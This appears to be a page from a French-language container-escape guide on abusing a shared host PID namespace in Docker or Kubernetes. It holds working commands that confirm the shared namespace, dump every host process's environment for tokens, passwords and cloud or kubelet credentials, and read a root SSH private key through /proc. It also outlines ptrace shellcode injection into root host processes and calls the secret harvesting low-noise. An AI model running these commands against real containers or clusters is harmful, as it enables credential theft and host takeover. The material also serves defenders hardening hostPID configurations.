Avec --pid=host ou hostPID: true, l'espace de noms PID du conteneur est celui de l'hôte, de sorte que /proc liste chaque processus de l'hôte. Cela a deux conséquences : toutes les métadonnées des processus de l'hôte deviennent lisibles et, là où ptrace est permis, les processus de l'hôte deviennent des cibles d'injection. La première est un gain quasi garanti de collecte de secrets ; la seconde est une évasion complète lorsqu'une capacité ou un UID correspondant permet d'écrire dans la mémoire d'un autre processus.
Confirmez l'espace de noms partagé :
readlink /proc/1/exe # host init path => host PID namespace
ls /proc | grep -E '^[0-9]+$' | wc -l # host-wide process count
ps -ef | grep -vE '\]$' | head # real host daemons listed
Voies#
# Harvest secrets from host process environments and command lines
for p in /proc/[0-9]*; do tr '\0' '\n' < $p/environ 2>/dev/null; done | \
grep -iE 'token|secret|key|pass|aws|kube' | sort -u
# Reach another process's filesystem via its root symlink
cat /proc/<root_pid>/root/root/.ssh/id_ed25519 2>/dev/null
# Inject into a root host process (needs ptrace permission / CAP_SYS_PTRACE)
# seize -> overwrite code at rip via /proc/<pid>/mem -> detach to run shellcode
Le seul balayage des variables d'environnement renvoie fréquemment des identifiants cloud, des mots de passe de bases de données et des jetons de compte de service qui permettent de pivoter vers l'hôte ou le cluster sans aucune autre évasion.
Notes d'exploitation#
- Lire
environ,cmdline,fdetrootdes processus de l'hôte ne nécessite que la visibilité et, pour les autres UID, un privilège suffisant ; c'est une divulgation d'informations à faible bruit. - L'injection de code dans un processus de l'hôte nécessite en outre la permission ptrace ; associez avec CAP_SYS_PTRACE. La mécanique est la même que la voie d'injection ptrace, rendue possible ici par la visibilité des processus de l'hôte.
- Dans Kubernetes, les pods
hostPIDs'exécutent couramment aux côtés de démons du nœud dont la mémoire et l'environnement détiennent des identifiants kubelet ou cloud ; voir Espaces de noms de l'hôte.